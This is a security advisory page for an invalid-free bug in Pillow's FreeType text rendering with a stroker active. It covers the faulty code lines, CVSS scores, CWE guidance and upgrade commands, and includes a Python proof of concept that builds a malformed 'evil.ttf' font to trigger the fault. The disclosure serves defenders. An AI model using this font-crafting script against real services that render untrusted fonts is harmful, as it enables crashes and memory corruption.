Skip to content

GHSA-j4m9-6w36-pw47 BIT-pillow-2026-112893 CVE-2026-112893

Pillow: Invalid free in FreeType glyph rendering when a stroker is active

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.55%
Chance of exploitation in the next 30 days. Higher than 45.98% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-457 Use of Uninitialized Variable
CWE-763 Release of Invalid Pointer or Reference
Fix
13.0.0
Upgrade pillow to this version or later

Description

Summary

When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details

glyph is declared without a NULL initializer:

  • src/_imagingft.c:848

The first measurement loop can jump to glyph_error before glyph is ever assigned:

  • src/_imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

  • src/_imagingft.c:1242

The cleanup frees it whenever a stroker exists:

  • src/_imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC

This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.

import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).

Impact

Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.

Affected versions

PyPI

PackageVulnerableFixed in
pillow
>= 10.0.0, < 13.0.0
13.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 13.0.0

pip
pip install --upgrade "pillow>=13.0.0"
poetry
poetry add "pillow>=13.0.0"
uv
uv add "pillow>=13.0.0"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-457: Use of Uninitialized Variable

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

How to prevent it
  • Implementation: Ensure that critical variables are initialized before first use [REF-1485].
  • Build and Compilation: Most compilers will complain about the use of uninitialized variables if warnings are turned on.
  • Implementation, Operation: When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.
  • Requirements: Choose a language that is not susceptible to these issues.
  • Architecture and Design: Mitigating technologies such as safe string libraries and container abstractions could be introduced.

CWE-763: Release of Invalid Pointer or Reference

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

How to prevent it
  • Implementation: Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().
  • Implementation: When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.
  • Architecture and Design: Use a language that provides abstractions for memory allocation and deallocation.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor